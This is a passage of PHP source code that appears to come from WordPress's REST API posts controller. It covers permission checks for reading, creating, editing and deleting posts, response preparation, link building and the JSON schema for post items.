						__( 'Sorry, you are not allowed to create private posts in this post type.' ),
						array( 'status' => rest_authorization_required_code() )
					);
				}
				break;
			case 'publish':
			case 'future':
				if ( ! current_user_can( $post_type->cap->publish_posts ) ) {
					return new WP_Error(
						'rest_cannot_publish',
						__( 'Sorry, you are not allowed to publish posts in this post type.' ),
						array( 'status' => rest_authorization_required_code() )
					);
				}
				break;
			default:
				if ( ! get_post_status_object( $post_status ) ) {
					$post_status = 'draft';
				}
				break;
		}

		return $post_status;
	}

	/**
	 * Determines the featured media based on a request param.
	 *
	 * @since 4.7.0
	 *
	 * @param int $featured_media Featured Media ID.
	 * @param int $post_id        Post ID.
	 * @return bool|WP_Error Whether the post thumbnail was successfully deleted, otherwise WP_Error.
	 */
	protected function handle_featured_media( $featured_media, $post_id ) {

		$featured_media = (int) $featured_media;
		if ( $featured_media ) {
			$result = set_post_thumbnail( $post_id, $featured_media );
			if ( $result ) {
				return true;
			} else {
				return new WP_Error(
					'rest_invalid_featured_media',
					__( 'Invalid featured media ID.' ),
					array( 'status' => 400 )
				);
			}
		} else {
			return delete_post_thumbnail( $post_id );
		}
	}

	/**
	 * Checks whether the template is valid for the given post.
	 *
	 * @since 4.9.0
	 *
	 * @param string          $template Page template filename.
	 * @param WP_REST_Request $request  Request.
	 * @return true|WP_Error True if template is still valid or if the same as existing value, or a WP_Error if template not supported.
	 */
	public function check_template( $template, $request ) {

		if ( ! $template ) {
			return true;
		}

		if ( $request['id'] ) {
			$post             = get_post( $request['id'] );
			$current_template = get_page_template_slug( $request['id'] );
		} else {
			$post             = null;
			$current_template = '';
		}

		// Always allow for updating a post to the same template, even if that template is no longer supported.
		if ( $template === $current_template ) {
			return true;
		}

		// If this is a create request, get_post() will return null and wp theme will fallback to the passed post type.
		$allowed_templates = wp_get_theme()->get_page_templates( $post, $this->post_type );

		if ( isset( $allowed_templates[ $template ] ) ) {
			return true;
		}

		return new WP_Error(
			'rest_invalid_param',
			/* translators: 1: Parameter, 2: List of valid values. */
			sprintf( __( '%1$s is not one of %2$s.' ), 'template', implode( ', ', array_keys( $allowed_templates ) ) )
		);
	}

	/**
	 * Sets the template for a post.
	 *
	 * @since 4.7.0
	 * @since 4.9.0 Added the `$validate` parameter.
	 *
	 * @param string $template Page template filename.
	 * @param int    $post_id  Post ID.
	 * @param bool   $validate Whether to validate that the template selected is valid.
	 */
	public function handle_template( $template, $post_id, $validate = false ) {

		if ( $validate && ! array_key_exists( $template, wp_get_theme()->get_page_templates( get_post( $post_id ) ) ) ) {
			$template = '';
		}

		update_post_meta( $post_id, '_wp_page_template', $template );
	}

	/**
	 * Updates the post's terms from a REST request.
	 *
	 * @since 4.7.0
	 *
	 * @param int             $post_id The post ID to update the terms form.
	 * @param WP_REST_Request $request The request object with post and terms data.
	 * @return null|WP_Error WP_Error on an error assigning any of the terms, otherwise null.
	 */
	protected function handle_terms( $post_id, $request ) {
		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $taxonomy ) {
			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

			if ( ! isset( $request[ $base ] ) ) {
				continue;
			}

			$result = wp_set_object_terms( $post_id, $request[ $base ], $taxonomy->name );

			if ( is_wp_error( $result ) ) {
				return $result;
			}
		}

		return null;
	}

	/**
	 * Checks whether current user can assign all terms sent with the current request.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request The request object with post and terms data.
	 * @return bool Whether the current user can assign the provided terms.
	 */
	protected function check_assign_terms_permission( $request ) {
		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );
		foreach ( $taxonomies as $taxonomy ) {
			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

			if ( ! isset( $request[ $base ] ) ) {
				continue;
			}

			foreach ( (array) $request[ $base ] as $term_id ) {
				// Invalid terms will be rejected later.
				if ( ! get_term( $term_id, $taxonomy->name ) ) {
					continue;
				}

				if ( ! current_user_can( 'assign_term', (int) $term_id ) ) {
					return false;
				}
			}
		}

		return true;
	}

	/**
	 * Checks if a given post type can be viewed or managed.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post_Type|string $post_type Post type name or object.
	 * @return bool Whether the post type is allowed in REST.
	 */
	protected function check_is_post_type_allowed( $post_type ) {
		if ( ! is_object( $post_type ) ) {
			$post_type = get_post_type_object( $post_type );
		}

		if ( ! empty( $post_type ) && ! empty( $post_type->show_in_rest ) ) {
			return true;
		}

		return false;
	}

	/**
	 * Checks if a post can be read.
	 *
	 * Correctly handles posts with the inherit status.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post $post Post object.
	 * @return bool Whether the post can be read.
	 */
	public function check_read_permission( $post ) {
		$post_type = get_post_type_object( $post->post_type );
		if ( ! $this->check_is_post_type_allowed( $post_type ) ) {
			return false;
		}

		// Is the post readable?
		if ( 'publish' === $post->post_status || current_user_can( 'read_post', $post->ID ) ) {
			return true;
		}

		$post_status_obj = get_post_status_object( $post->post_status );
		if ( $post_status_obj && $post_status_obj->public ) {
			return true;
		}

		// Can we read the parent if we're inheriting?
		if ( 'inherit' === $post->post_status && $post->post_parent > 0 ) {
			$parent = get_post( $post->post_parent );
			if ( $parent ) {
				return $this->check_read_permission( $parent );
			}
		}

		/*
		 * If there isn't a parent, but the status is set to inherit, assume
		 * it's published (as per get_post_status()).
		 */
		if ( 'inherit' === $post->post_status ) {
			return true;
		}

		return false;
	}

	/**
	 * Checks if a post can be edited.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post $post Post object.
	 * @return bool Whether the post can be edited.
	 */
	protected function check_update_permission( $post ) {
		$post_type = get_post_type_object( $post->post_type );

		if ( ! $this->check_is_post_type_allowed( $post_type ) ) {
			return false;
		}

		return current_user_can( 'edit_post', $post->ID );
	}

	/**
	 * Checks if a post can be created.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post $post Post object.
	 * @return bool Whether the post can be created.
	 */
	protected function check_create_permission( $post ) {
		$post_type = get_post_type_object( $post->post_type );

		if ( ! $this->check_is_post_type_allowed( $post_type ) ) {
			return false;
		}

		return current_user_can( $post_type->cap->create_posts );
	}

	/**
	 * Checks if a post can be deleted.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post $post Post object.
	 * @return bool Whether the post can be deleted.
	 */
	protected function check_delete_permission( $post ) {
		$post_type = get_post_type_object( $post->post_type );

		if ( ! $this->check_is_post_type_allowed( $post_type ) ) {
			return false;
		}

		return current_user_can( 'delete_post', $post->ID );
	}

	/**
	 * Prepares a single post output for response.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$post` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @global WP_Post $post Global post object.
	 *
	 * @param WP_Post         $item    Post object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$post = $item;

		$GLOBALS['post'] = $post;

		setup_postdata( $post );

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php */
			return apply_filters( "rest_prepare_{$this->post_type}", new WP_REST_Response( array() ), $post, $request );
		}

		$fields = $this->get_fields_for_response( $request );

		// Base fields for every post.
		$data = array();

		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = $post->ID;
		}

		if ( rest_is_field_included( 'date', $fields ) ) {
			$data['date'] = $this->prepare_date_response( $post->post_date_gmt, $post->post_date );
		}

		if ( rest_is_field_included( 'date_gmt', $fields ) ) {
			/*
			 * For drafts, `post_date_gmt` may not be set, indicating that the date
			 * of the draft should be updated each time it is saved (see #38883).
			 * In this case, shim the value based on the `post_date` field
			 * with the site's timezone offset applied.
			 */
			if ( '0000-00-00 00:00:00' === $post->post_date_gmt ) {
				$post_date_gmt = get_gmt_from_date( $post->post_date );
			} else {
				$post_date_gmt = $post->post_date_gmt;
			}
			$data['date_gmt'] = $this->prepare_date_response( $post_date_gmt );
		}

		if ( rest_is_field_included( 'guid', $fields ) ) {
			$data['guid'] = array(
				/** This filter is documented in wp-includes/post-template.php */
				'rendered' => apply_filters( 'get_the_guid', $post->guid, $post->ID ),
				'raw'      => $post->guid,
			);
		}

		if ( rest_is_field_included( 'modified', $fields ) ) {
			$data['modified'] = $this->prepare_date_response( $post->post_modified_gmt, $post->post_modified );
		}

		if ( rest_is_field_included( 'modified_gmt', $fields ) ) {
			/*
			 * For drafts, `post_modified_gmt` may not be set (see `post_date_gmt` comments
			 * above). In this case, shim the value based on the `post_modified` field
			 * with the site's timezone offset applied.
			 */
			if ( '0000-00-00 00:00:00' === $post->post_modified_gmt ) {
				$post_modified_gmt = gmdate( 'Y-m-d H:i:s', strtotime( $post->post_modified ) - (int) ( (float) get_option( 'gmt_offset' ) * HOUR_IN_SECONDS ) );
			} else {
				$post_modified_gmt = $post->post_modified_gmt;
			}
			$data['modified_gmt'] = $this->prepare_date_response( $post_modified_gmt );
		}

		if ( rest_is_field_included( 'password', $fields ) ) {
			$data['password'] = $post->post_password;
		}

		if ( rest_is_field_included( 'slug', $fields ) ) {
			$data['slug'] = $post->post_name;
		}

		if ( rest_is_field_included( 'status', $fields ) ) {
			$data['status'] = $post->post_status;
		}

		if ( rest_is_field_included( 'type', $fields ) ) {
			$data['type'] = $post->post_type;
		}

		if ( rest_is_field_included( 'link', $fields ) ) {
			$data['link'] = get_permalink( $post->ID );
		}

		if ( rest_is_field_included( 'title', $fields ) ) {
			$data['title'] = array();
		}
		if ( rest_is_field_included( 'title.raw', $fields ) ) {
			$data['title']['raw'] = $post->post_title;
		}
		if ( rest_is_field_included( 'title.rendered', $fields ) ) {
			add_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
			add_filter( 'private_title_format', array( $this, 'protected_title_format' ) );

			$data['title']['rendered'] = get_the_title( $post->ID );

			remove_filter( 'protected_title_format', array( $this, 'protected_title_format' ) );
			remove_filter( 'private_title_format', array( $this, 'protected_title_format' ) );
		}

		$has_password_filter = false;

		if ( $this->can_access_password_content( $post, $request ) ) {
			$this->password_check_passed[ $post->ID ] = true;
			// Allow access to the post, permissions already checked before.
			add_filter( 'post_password_required', array( $this, 'check_password_required' ), 10, 2 );

			$has_password_filter = true;
		}

		if ( rest_is_field_included( 'content', $fields ) ) {
			$data['content'] = array();
		}
		if ( rest_is_field_included( 'content.raw', $fields ) ) {
			$data['content']['raw'] = $post->post_content;
		}
		if ( rest_is_field_included( 'content.rendered', $fields ) ) {
			/** This filter is documented in wp-includes/post-template.php */
			$data['content']['rendered'] = post_password_required( $post ) ? '' : apply_filters( 'the_content', $post->post_content );
		}
		if ( rest_is_field_included( 'content.protected', $fields ) ) {
			$data['content']['protected'] = (bool) $post->post_password;
		}
		if ( rest_is_field_included( 'content.block_version', $fields ) ) {
			$data['content']['block_version'] = block_version( $post->post_content );
		}

		if ( rest_is_field_included( 'excerpt', $fields ) ) {
			if ( isset( $request['excerpt_length'] ) ) {
				$excerpt_length          = $request['excerpt_length'];
				$override_excerpt_length = static function () use ( $excerpt_length ) {
					return $excerpt_length;
				};

				add_filter(
					'excerpt_length',
					$override_excerpt_length,
					20
				);
			}

			/** This filter is documented in wp-includes/post-template.php */
			$excerpt = apply_filters( 'get_the_excerpt', $post->post_excerpt, $post );

			/** This filter is documented in wp-includes/post-template.php */
			$excerpt = apply_filters( 'the_excerpt', $excerpt );

			$data['excerpt'] = array(
				'raw'       => $post->post_excerpt,
				'rendered'  => post_password_required( $post ) ? '' : $excerpt,
				'protected' => (bool) $post->post_password,
			);

			if ( isset( $override_excerpt_length ) ) {
				remove_filter(
					'excerpt_length',
					$override_excerpt_length,
					20
				);
			}
		}

		if ( $has_password_filter ) {
			// Reset filter.
			remove_filter( 'post_password_required', array( $this, 'check_password_required' ) );
		}

		if ( rest_is_field_included( 'author', $fields ) ) {
			$data['author'] = (int) $post->post_author;
		}

		if ( rest_is_field_included( 'featured_media', $fields ) ) {
			$data['featured_media'] = (int) get_post_thumbnail_id( $post->ID );
		}

		if ( rest_is_field_included( 'parent', $fields ) ) {
			$data['parent'] = (int) $post->post_parent;
		}

		if ( rest_is_field_included( 'menu_order', $fields ) ) {
			$data['menu_order'] = (int) $post->menu_order;
		}

		if ( rest_is_field_included( 'comment_status', $fields ) ) {
			$data['comment_status'] = $post->comment_status;
		}

		if ( rest_is_field_included( 'ping_status', $fields ) ) {
			$data['ping_status'] = $post->ping_status;
		}

		if ( rest_is_field_included( 'sticky', $fields ) ) {
			$data['sticky'] = is_sticky( $post->ID );
		}

		if ( rest_is_field_included( 'template', $fields ) ) {
			$template = get_page_template_slug( $post->ID );
			if ( $template ) {
				$data['template'] = $template;
			} else {
				$data['template'] = '';
			}
		}

		if ( rest_is_field_included( 'format', $fields ) ) {
			$data['format'] = get_post_format( $post->ID );

			// Fill in blank post format.
			if ( empty( $data['format'] ) ) {
				$data['format'] = 'standard';
			}
		}

		if ( rest_is_field_included( 'meta', $fields ) ) {
			$data['meta'] = $this->meta->get_value( $post->ID, $request );
		}

		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $taxonomy ) {
			$base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;

			if ( rest_is_field_included( $base, $fields ) ) {
				$terms         = get_the_terms( $post, $taxonomy->name );
				$data[ $base ] = $terms ? array_values( wp_list_pluck( $terms, 'term_id' ) ) : array();
			}
		}

		$post_type_obj = get_post_type_object( $post->post_type );
		if ( is_post_type_viewable( $post_type_obj ) && $post_type_obj->public ) {
			$permalink_template_requested = rest_is_field_included( 'permalink_template', $fields );
			$generated_slug_requested     = rest_is_field_included( 'generated_slug', $fields );

			if ( $permalink_template_requested || $generated_slug_requested ) {
				if ( ! function_exists( 'get_sample_permalink' ) ) {
					require_once ABSPATH . 'wp-admin/includes/post.php';
				}

				$sample_permalink = get_sample_permalink( $post->ID, $post->post_title, '' );

				if ( $permalink_template_requested ) {
					$data['permalink_template'] = $sample_permalink[0];
				}

				if ( $generated_slug_requested ) {
					$data['generated_slug'] = $sample_permalink[1];
				}
			}

			if ( rest_is_field_included( 'class_list', $fields ) ) {
				$data['class_list'] = get_post_class( array(), $post->ID );
			}
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = $this->prepare_links( $post );
			$response->add_links( $links );

			if ( ! empty( $links['self']['href'] ) ) {
				$actions = $this->get_available_actions( $post, $request );

				$self = $links['self']['href'];

				foreach ( $actions as $rel ) {
					$response->add_link( $rel, $self );
				}
			}
		}

		/**
		 * Filters the post data for a REST API response.
		 *
		 * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug.
		 *
		 * Possible hook names include:
		 *
		 *  - `rest_prepare_post`
		 *  - `rest_prepare_page`
		 *  - `rest_prepare_attachment`
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Post          $post     Post object.
		 * @param WP_REST_Request  $request  Request object.
		 */
		return apply_filters( "rest_prepare_{$this->post_type}", $response, $post, $request );
	}

	/**
	 * Overwrites the default protected and private title format.
	 *
	 * By default, WordPress will show password protected or private posts with a title of
	 * "Protected: %s" or "Private: %s", as the REST API communicates the status of a post
	 * in a machine-readable format, we remove the prefix.
	 *
	 * @since 4.7.0
	 *
	 * @return string Title format.
	 */
	public function protected_title_format() {
		return '%s';
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_Post $post Post object.
	 * @return array Links for the given post.
	 */
	protected function prepare_links( $post ) {
		// Entity meta.
		$links = array(
			'self'       => array(
				'href' => rest_url( rest_get_route_for_post( $post->ID ) ),
			),
			'collection' => array(
				'href' => rest_url( rest_get_route_for_post_type_items( $this->post_type ) ),
			),
			'about'      => array(
				'href' => rest_url( 'wp/v2/types/' . $this->post_type ),
			),
		);

		if ( ( in_array( $post->post_type, array( 'post', 'page' ), true ) || post_type_supports( $post->post_type, 'author' ) )
			&& ! empty( $post->post_author ) ) {
			$links['author'] = array(
				'href'       => rest_url( 'wp/v2/users/' . $post->post_author ),
				'embeddable' => true,
			);
		}

		if ( in_array( $post->post_type, array( 'post', 'page' ), true ) || post_type_supports( $post->post_type, 'comments' ) ) {
			$replies_url = rest_url( 'wp/v2/comments' );
			$replies_url = add_query_arg( 'post', $post->ID, $replies_url );

			$links['replies'] = array(
				'href'       => $replies_url,
				'embeddable' => true,
			);
		}

		if ( in_array( $post->post_type, array( 'post', 'page' ), true ) || post_type_supports( $post->post_type, 'revisions' ) ) {
			$revisions       = wp_get_latest_revision_id_and_total_count( $post->ID );
			$revisions_count = ! is_wp_error( $revisions ) ? $revisions['count'] : 0;
			$revisions_base  = sprintf( '/%s/%s/%d/revisions', $this->namespace, $this->rest_base, $post->ID );

			$links['version-history'] = array(
				'href'  => rest_url( $revisions_base ),
				'count' => $revisions_count,
			);

			if ( $revisions_count > 0 ) {
				$links['predecessor-version'] = array(
					'href' => rest_url( $revisions_base . '/' . $revisions['latest_id'] ),
					'id'   => $revisions['latest_id'],
				);
			}
		}

		$post_type_obj = get_post_type_object( $post->post_type );

		if ( $post_type_obj->hierarchical && ! empty( $post->post_parent ) ) {
			$links['up'] = array(
				'href'       => rest_url( rest_get_route_for_post( $post->post_parent ) ),
				'embeddable' => true,
			);
		}

		// If we have a featured media, add that.
		$featured_media = get_post_thumbnail_id( $post->ID );
		if ( $featured_media ) {
			$image_url = rest_url( rest_get_route_for_post( $featured_media ) );

			$links['https://api.w.org/featuredmedia'] = array(
				'href'       => $image_url,
				'embeddable' => true,
			);
		}

		if ( ! in_array( $post->post_type, array( 'attachment', 'nav_menu_item', 'revision' ), true ) ) {
			$attachments_url = rest_url( rest_get_route_for_post_type_items( 'attachment' ) );
			$attachments_url = add_query_arg( 'parent', $post->ID, $attachments_url );

			$links['https://api.w.org/attachment'] = array(
				'href' => $attachments_url,
			);
		}

		$taxonomies = get_object_taxonomies( $post->post_type );

		if ( ! empty( $taxonomies ) ) {
			$links['https://api.w.org/term'] = array();

			foreach ( $taxonomies as $tax ) {
				$taxonomy_route = rest_get_route_for_taxonomy_items( $tax );

				// Skip taxonomies that are not public.
				if ( empty( $taxonomy_route ) ) {
					continue;
				}
				$terms_url = add_query_arg(
					'post',
					$post->ID,
					rest_url( $taxonomy_route )
				);

				$links['https://api.w.org/term'][] = array(
					'href'       => $terms_url,
					'taxonomy'   => $tax,
					'embeddable' => true,
				);
			}
		}

		return $links;
	}

	/**
	 * Gets the link relations available for the post and current user.
	 *
	 * @since 4.9.8
	 *
	 * @param WP_Post         $post    Post object.
	 * @param WP_REST_Request $request Request object.
	 * @return array List of link relations.
	 */
	protected function get_available_actions( $post, $request ) {

		if ( 'edit' !== $request['context'] ) {
			return array();
		}

		$rels = array();

		$post_type = get_post_type_object( $post->post_type );

		if ( 'attachment' !== $this->post_type && current_user_can( $post_type->cap->publish_posts ) ) {
			$rels[] = 'https://api.w.org/action-publish';
		}

		if ( current_user_can( 'unfiltered_html' ) ) {
			$rels[] = 'https://api.w.org/action-unfiltered-html';
		}

		if ( 'post' === $post_type->name ) {
			if ( current_user_can( $post_type->cap->edit_others_posts ) && current_user_can( $post_type->cap->publish_posts ) ) {
				$rels[] = 'https://api.w.org/action-sticky';
			}
		}

		if ( post_type_supports( $post_type->name, 'author' ) ) {
			if ( current_user_can( $post_type->cap->edit_others_posts ) ) {
				$rels[] = 'https://api.w.org/action-assign-author';
			}
		}

		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $tax ) {
			$tax_base   = ! empty( $tax->rest_base ) ? $tax->rest_base : $tax->name;
			$create_cap = is_taxonomy_hierarchical( $tax->name ) ? $tax->cap->edit_terms : $tax->cap->assign_terms;

			if ( current_user_can( $create_cap ) ) {
				$rels[] = 'https://api.w.org/action-create-' . $tax_base;
			}

			if ( current_user_can( $tax->cap->assign_terms ) ) {
				$rels[] = 'https://api.w.org/action-assign-' . $tax_base;
			}
		}

		return $rels;
	}

	/**
	 * Retrieves the post's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => $this->post_type,
			'type'       => 'object',
			// Base properties for every Post.
			'properties' => array(
				'date'         => array(
					'description' => __( "The date the post was published, in the site's timezone." ),
					'type'        => array( 'string', 'null' ),
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'date_gmt'     => array(
					'description' => __( 'The date the post was published, as GMT.' ),
					'type'        => array( 'string', 'null' ),
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
				),
				'guid'         => array(
					'description' => __( 'The globally unique identifier for the post.' ),
					'type'        => 'object',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
					'properties'  => array(
						'raw'      => array(
							'description' => __( 'GUID for the post, as it exists in the database.' ),
							'type'        => 'string',
							'context'     => array( 'edit' ),
							'readonly'    => true,
						),
						'rendered' => array(
							'description' => __( 'GUID for the post, transformed for display.' ),
							'type'        => 'string',
							'context'     => array( 'view', 'edit' ),
							'readonly'    => true,
						),
					),
				),
				'id'           => array(
					'description' => __( 'Unique identifier for the post.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'link'         => array(
					'description' => __( 'URL to the post.' ),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'modified'     => array(
					'description' => __( "The date the post was last modified, in the site's timezone." ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'modified_gmt' => array(
					'description' => __( 'The date the post was last modified, as GMT.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'slug'         => array(
					'description' => __( 'An alphanumeric identifier for the post unique to its type.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'arg_options' => array(
						'sanitize_callback' => array( $this, 'sanitize_slug' ),
					),
				),
				'status'       => array(
					'description' => __( 'A named status for the post.' ),
					'type'        => 'string',
					'enum'        => array_keys( get_post_stati( array( 'internal' => false ) ) ),
					'context'     => array( 'view', 'edit' ),
					'arg_options' => array(
						'validate_callback' => array( $this, 'check_status' ),
					),
				),
				'type'         => array(
					'description' => __( 'Type of post.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'password'     => array(
					'description' => __( 'A password to protect access to the content and excerpt.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
				),
			),
		);

		$post_type_obj = get_post_type_object( $this->post_type );
		if ( is_post_type_viewable( $post_type_obj ) && $post_type_obj->public ) {
			$schema['properties']['permalink_template'] = array(
				'description' => __( 'Permalink template for the post.' ),
				'type'        => 'string',
				'context'     => array( 'edit' ),
				'readonly'    => true,
			);

			$schema['properties']['generated_slug'] = array(
				'description' => __( 'Slug automatically generated from the post title.' ),
				'type'        => 'string',
				'context'     => array( 'edit' ),
				'readonly'    => true,
			);

			$schema['properties']['class_list'] = array(
				'description' => __( 'An array of the class names for the post container element.' ),
				'type'        => 'array',
				'context'     => array( 'view', 'edit' ),
				'readonly'    => true,
				'items'       => array(
					'type' => 'string',
				),
			);
		}

		if ( $post_type_obj->hierarchical ) {
			$schema['properties']['parent'] = array(
				'description' => __( 'The ID for the parent of the post.' ),
				'type'        => 'integer',
				'context'     => array( 'view', 'edit' ),
			);
		}

		$post_type_attributes = array(
			'title',
			'editor',
			'author',
			'excerpt',
			'thumbnail',
			'comments',
			'revisions',
			'page-attributes',
			'post-formats',
			'custom-fields',
		);
		$fixed_schemas        = array(
			'post'       => array(
				'title',
				'editor',
				'author',
				'excerpt',
				'thumbnail',
				'comments',
				'revisions',
				'post-formats',
				'custom-fields',
			),
			'page'       => array(
				'title',
				'editor',
				'author',
				'excerpt',
				'thumbnail',
				'comments',
				'revisions',
				'page-attributes',
				'custom-fields',
			),
			'attachment' => array(
				'title',
				'author',
				'comments',
				'revisions',
				'custom-fields',
				'thumbnail',
			),
		);

		foreach ( $post_type_attributes as $attribute ) {
			if ( isset( $fixed_schemas[ $this->post_type ] ) && ! in_array( $attribute, $fixed_schemas[ $this->post_type ], true ) ) {
				continue;
			} elseif ( ! isset( $fixed_schemas[ $this->post_type ] ) && ! post_type_supports( $this->post_type, $attribute ) ) {
				continue;
			}

			switch ( $attribute ) {

				case 'title':
					$schema['properties']['title'] = array(
						'description' => __( 'The title for the post.' ),
						'type'        => 'object',
						'context'     => array( 'view', 'edit', 'embed' ),
						'arg_options' => array(
							'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database().
							'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database().
						),
						'properties'  => array(
							'raw'      => array(
								'description' => __( 'Title for the post, as it exists in the database.' ),
								'type'        => 'string',
								'context'     => array( 'edit' ),
							),
							'rendered' => array(
								'description' => __( 'HTML title for the post, transformed for display.' ),
								'type'        => 'string',
								'context'     => array( 'view', 'edit', 'embed' ),
								'readonly'    => true,
							),
						),
					);
					break;

				case 'editor':
					$schema['properties']['content'] = array(
						'description' => __( 'The content for the post.' ),
						'type'        => 'object',
						'context'     => array( 'view', 'edit' ),
						'arg_options' => array(
							'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database().
							'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database().
						),
						'properties'  => array(
							'raw'           => array(
								'description' => __( 'Content for the post, as it exists in the database.' ),
								'type'        => 'string',
								'context'     => array( 'edit' ),
							),
							'rendered'      => array(
								'description' => __( 'HTML content for the post, transformed for display.' ),
								'type'        => 'string',
								'context'     => array( 'view', 'edit' ),
								'readonly'    => true,
							),
							'block_version' => array(
								'description' => __( 'Version of the content block format used by the post.' ),
								'type'        => 'integer',
								'context'     => array( 'edit' ),
								'readonly'    => true,
							),
							'protected'     => array(
								'description' => __( 'Whether the content is protected with a password.' ),
								'type'        => 'boolean',
								'context'     => array( 'view', 'edit', 'embed' ),
								'readonly'    => true,
							),
						),
					);
					break;

				case 'author':
					$schema['properties']['author'] = array(
						'description' => __( 'The ID for the author of the post.' ),
						'type'        => 'integer',
						'context'     => array( 'view', 'edit', 'embed' ),
					);
					break;

				case 'excerpt':
					$schema['properties']['excerpt'] = array(
						'description' => __( 'The excerpt for the post.' ),
						'type'        => 'object',
						'context'     => array( 'view', 'edit', 'embed' ),
						'arg_options' => array(
							'sanitize_callback' => null, // Note: sanitization implemented in self::prepare_item_for_database().
							'validate_callback' => null, // Note: validation implemented in self::prepare_item_for_database().
						),
						'properties'  => array(
							'raw'       => array(
								'description' => __( 'Excerpt for the post, as it exists in the database.' ),
								'type'        => 'string',
								'context'     => array( 'edit' ),
							),
							'rendered'  => array(
								'description' => __( 'HTML excerpt for the post, transformed for display.' ),
								'type'        => 'string',
								'context'     => array( 'view', 'edit', 'embed' ),
								'readonly'    => true,
							),
							'protected' => array(
								'description' => __( 'Whether the excerpt is protected with a password.' ),
								'type'        => 'boolean',
								'context'     => array( 'view', 'edit', 'embed' ),
								'readonly'    => true,
							),
						),
					);
					break;

				case 'thumbnail':
					$schema['properties']['featured_media'] = array(
						'description' => __( 'The ID of the featured media for the post.' ),
						'type'        => 'integer',
						'context'     => array( 'view', 'edit', 'embed' ),
					);
					break;

				case 'comments':
					$schema['properties']['comment_status'] = array(
						'description' => __( 'Whether or not comments are open on the post.' ),
						'type'        => 'string',
						'enum'        => array( 'open', 'closed' ),
						'context'     => array( 'view', 'edit' ),
					);
					$schema['properties']['ping_status']    = array(
						'description' => __( 'Whether or not the post can be pinged.' ),
						'type'        => 'string',
						'enum'        => array( 'open', 'closed' ),
						'context'     => array( 'view', 'edit' ),
					);
					break;

				case 'page-attributes':
					$schema['properties']['menu_order'] = array(
						'description' => __( 'The order of the post in relation to other posts.' ),
						'type'        => 'integer',
						'context'     => array( 'view', 'edit' ),
					);
					break;

				case 'post-formats':
					// Get the native post formats and remove the array keys.
					$formats = array_values( get_post_format_slugs() );

					$schema['properties']['format'] = array(
						'description' => __( 'The format for the post.' ),
						'type'        => 'string',
						'enum'        => $formats,
						'context'     => array( 'view', 'edit' ),
					);
					break;

				case 'custom-fields':
					$schema['properties']['meta'] = $this->meta->get_field_schema();
					break;

			}
		}

		if ( 'post' === $this->post_type ) {
			$schema['properties']['sticky'] = array(
				'description' => __( 'Whether or not the post should be treated as sticky.' ),
				'type'        => 'boolean',
				'context'     => array( 'view', 'edit' ),
			);
		}

		$schema['properties']['template'] = array(
			'description' => __( 'The theme file to use to display the post.' ),
			'type'        => 'string',
			'context'     => array( 'view', 'edit' ),
			'arg_options' => array(
				'validate_callback' => array( $this, 'check_template' ),
			),
		);

		$taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) );

		foreach ( $taxonomies as $taxonomy ) {
